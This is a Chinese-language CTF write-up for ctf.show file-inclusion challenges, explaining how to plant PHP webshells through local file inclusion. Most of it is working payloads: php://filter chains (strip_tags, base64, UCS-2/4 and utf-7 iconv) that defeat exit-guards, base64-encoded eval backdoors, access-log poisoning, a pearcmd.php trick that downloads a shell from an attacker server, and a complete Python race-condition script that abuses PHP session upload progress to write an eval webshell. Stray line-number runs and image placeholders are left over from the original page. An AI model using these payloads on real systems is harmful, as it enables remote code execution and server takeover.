文件包含

php://filter

Bypass-字符串过滤器

除了可以使用php://filter的转换过滤器绕过以外还可以使用其字符串过滤器进行绕过利用。

string.strip_tags

利用php://filter中string.strip_tags过滤器去除”exit”。使用此过滤器等同于用 strip_tags()函数处理所有的流数据。我们观察一下,这个<?php exit; ?>,实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它。
测试代码

  1. <?php
  2. echo readfile('php://filter/read=string.strip_tags/resource=php://input');
  3. ?>
  4. 123

载荷效果
CTSHOW-LFI - 图1
载荷利用虽然成功了,但是我们的目的是写入webshell,如果那样的话,我们的webshell岂不是同样起不了作用,不过我们可以使用多个过滤器进行绕过这个限制(php://filter允许通过 | 使用多个过滤器)。

具体步骤分析

1、webshell用base64编码   //为了避免strip_tags的影响

2、先调用string.strip_tags //这一步先将去除<?php exit; ?>

3、在调用convert.base64-decode //这一步将再还原base64编码的webshell
12345

payload

http://192.33.6.145/test.php

POST
txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
(这里的+加号要url编码,如上%2B,否则不显示)
12345

载荷效果
CTSHOW-LFI - 图2
从服务上可以看到已经生成shell.php,同时这部分已经被string.strip_tags去除掉。

Bypass-相同变量

针对写入shell的文件名和内容一样的时候,进行探索绕过。

有了上面第一种情况的绕过与利用姿势,那么在第二种条件限制情况下,可以在第一种的手法上进行拓展探索利用。

测试代码

<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>
1234

这段代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。
代码分析
分析代码可以看到,这种情况下写入的文件,其文件名($a)和文件部分内容($a)一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:去除死亡exit写入shell后门。

针对这种限制手法,我们可以在上面第一种Bypass手法的基础上进行拓展挖掘。

convert.base64

在上面不同变量利用base64构造payload的基础上,可以针对相同变量再次构造相应payload,在文件名中包含,满足正常解码就可以。

a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php

//注意payload中的字符'+'在浏览器url中需要转换为%2B,否则不显示
123

但是这样构造发现是不可以的,因为构造的payload里面包含’=’符号,而base64解码的时候如果字符’=’后面包含有其他字符则会报错。(“=”字符在base64编码当中是作为填充字符出现的)

那么能不能尝试把字符等号去掉,分析payload可以把字符串write=去掉减少一个等号,但是字符串resource=里面的等号不能去掉,也就导致该payload构造失败

既然这种方法不可以那么就可以试试探索其它方法(下面在讲述convert.iconv.*的时候会讲述怎么绕过base64解码时字符’=’的限制)

string.strip_tags

还是在上面不同变量的基础上进行拓展,由于上面第一种情况的限制代码直接就是可以直接利用strip_tags去掉,但是现在这种情况下的限制代码和上面的有点不一样了,少了一段字符?>,其限制代码为<?php exit;,不过构造的目的是相同的最终还是要把exit;给去除掉。

分析两者限制代码的不同,那么我们可以直接再给它加一个?>字符串进行闭合就可以利用了
构造payload

a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php

//注意payload中的字符'+'在浏览器url中需要转换为%2B,否则不显示
123

分析组合后未处理的文件内容,发现成功的构造php标签,同时也可以发现代码中的字符等号’=’也包含在php标签里面,那么在经过strip_tags处理的时候都会去除掉,之后就不会影响base64的正常解码了。
载荷效果
CTSHOW-LFI - 图3
可以看到payload请求成功,在服务器上生成了相应的文件,同时也正常的写入了webshell

虽然这样利用成功了,但是会发现这样的文件访问会有问题的,采用@Cyc1e师傅介绍的方法,利用…/重命名即可解决。

利用技巧

a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php
1

把?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+作为目录名(不管存不存在),再用…/回退一下,这样创建出来的文件名为Qftm.php,这样创建出来的文件名就正常了
CTSHOW-LFI - 图4
有一个缺点就是这种利用手法在windows下利用不成功,因为文件名里面的? >等这些是特殊字符会导致文件的创建失败

convert.iconv.*

关于convert.iconv.*的详细介绍可以看上面对php://filter的介绍。

对于iconv字符编码转换进行绕过的手法,其实类似于上面所述的base64编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;被去除,而我们的恶意代码正常解码存储
下面具体看一下有哪些组合手法可以来Bypass exit:

UCS-2

UCS-2编码转换

php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>');

?<hp pe@av(l_$OPTSQ[tf]m;)>?      // 两位一反转

>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 2*14
>>>
1234567

通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
构造payload

a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php

组合出的payload:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php

核心部分:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?

>>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?")
84 -> 2*42
>>>
1234567891011

载荷效果
CTSHOW-LFI - 图5
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。

UCS-4

UCS-4编码转换

php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>');

hp?<e@ p(lavOP_$Q[TS]mtf>?;)       // 4位一反转

>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 4*7
>>>
1234567

通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
构造payload

a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php

组合出的payload:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php

核心部分:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)

>>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|")
56 -> 4*14
>>>
1234567891011

载荷效果
CTSHOW-LFI - 图6
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。

当然这种方法(UCS-2/4)对于上面讲述的第一种情况前后不同变量也是一样适用的。

utf8-utf7

前面介绍单独用base64编码是不可行的(绕不过字符’=’的限制),不过这里可以借助组合拳(iconv+base64)进行绕过字符’=’在base64解码中的影响。通过iconv将utf-8编码转为utf-7编码,从而把’=’给转了,最终也就不会影响到base64的正常解码。

测试代码

<?php

$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');

/**
Qftm.txt 写入的内容为: +AD0-   成功的将“=”给转了
**/
12345678

从结果可以看到,convert.iconv 这个过滤器把 = 转化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode过滤器解码的,由此利用其构造组合payload绕过base64限制。
构造payload

a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php
//这里需要注意的是要符合base64解码按照4字节进行的

utf-8 -> utf-7
+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php

base64解码特点剔除不符合字符(只要恶意代码前面部分正常就可以,长度为4的倍数)
+ADwphpexit+ADsphp//filter/write+AD0

>>> len("+ADwphpexit+ADsphp//filter/write+AD0")
36 -> 4*9
>>>

正常base64解码部分
+ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+
123456789101112131415

载荷效果
CTSHOW-LFI - 图7
可以看到这种组合效果是可以的,成功绕过了base64与exit;的限制。

配置文件目录

CTSHOW-LFI - 图8

/etc/nginx/conf.d/default.conf
/etc/nginx/nginx.conf

web22

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }
}else{
        highlight_file(__FILE__);
}
?>

二. register_argc_argv的介绍
通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数。
这里借p神的介绍
经过简单测试,发现⽼版本(测试版本为5.2.17)默认为 On,新版本(测试版本为 5.4.45、5.5.9、
7.3.4)默认为 Off
奇淫技巧
这个是自己看p神的知识星球知道的。
我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER[‘argv’]的值的,但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的
个数始终是 1

#测试代码
<?php
error_reporting(0);
$a=$_SERVER['argv'];
var_dump($a);
?>

CTSHOW-LFI - 图9

而我们可以通过+来进行分隔符。
(这里不解释,需要知道的可以去p神的知识星球了解)

CTSHOW-LFI - 图10

三. PEAR的介绍

如何熟悉PEAR的使用?
在linux下面安装直接输入命令apt install php-pear

这个题只需要
下载一个档案文件(php文件)并使用lfi
而这个下载的命令是pearcmd.php里面有的
在pearcmd.php目录下面输入php pearcmd.php -help

CTSHOW-LFI - 图11

而正好,这个题开启了register_argc_argv可以通过+来分隔命令,先进行包含pearcmd.php然后在通过+分隔符来执行download命令

                                                                             -----摘自[Firebasky](https://blog.csdn.net/qq_46091464)师傅博客

利用

在vps上创建php文件

<?php
echo  "<?php @eval(\$_POST[1]);?>')?>";
?>

传值?c=pearcmd&+download+http:/.../shell.php

访问shell.php文件 post传phpinfo();

成功getshell

trick

这里下载内容为页面内容

vps写入

//shell.php
<?php
echo "This is Test";
?>

传值?c=pearcmd&+download+http:/.../shell.php

访问shell.php

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

php://filter协议读取flag.php文件

web79

data://协议读取文件

?file=data://text/plain;base64,base64编码后的内容

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

包含日志文件 进行getshell 日志文件路径

?file=/var/log/nginx/access.log

web81

包含日志文件 进行getshell 日志文件路径: ?file=/var/log/nginx/access.log

web82-86

用一个Py脚本

import threading
import io 
import requests

url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'
data={
    '1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
    }
sessionid='huahua'
def write(session):
    fileBytes=io.BytesIO(b'a'*1024*50)
    while True:
        response=session.post(url,
        data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
        },
        cookies={
            'PHPSESSID':sessionid
        },
        files={
            'file':('huahua.jpg',fileBytes)
        }
        )
def read(session):
    while True:
        response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={
            'PHPSESSID':sessionid
        }
        )
        response2=session.get(url+'2.php')
        if response2.status_code==200:
            print('[+++++++++++++++++YES+++++++++++++++++]')
        else:
            print(response2.status_code)

if __name__=='__main__':
    event=threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

源码过滤了php data不能用伪协议 也不能包含php后缀的文件

所以只能包含session文件

cookie传值PHPSESSID:huahua 会在/tmp/sess_huahua创建一个文件 在访问结束会立即删除

通过PHP_SESSION_UPLOAD_PROGRESS查看上传进程可以控制/tmp/sess_huahua里的内容 故采用文件竞争方式 构造上述脚本

利用条件

PHP version >= 5.4

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"
//enabled=on 表示upload_progress功能开始,意味浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session中
//cleanup=on表示当文件上传结束后,php将会立即清空session文件中的内容,这个选项非常重要;name当它出现在表单中,php将会报告上传进度,它的值可控;
//prefix+name表示session中的键名
//session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

web87

?file=php://filter/write=convert.base64-decode/resource=1.php

content=aa(base64编码)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

aa结合前面的phpdie可以base64 decode后去掉php代码

后直接base64编码后写入即可

web88

?file=data://text/plain;base64,PD89IGBjYXQgZioucGhwYDs

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

没有过滤 : data直接包含data伪协议绕过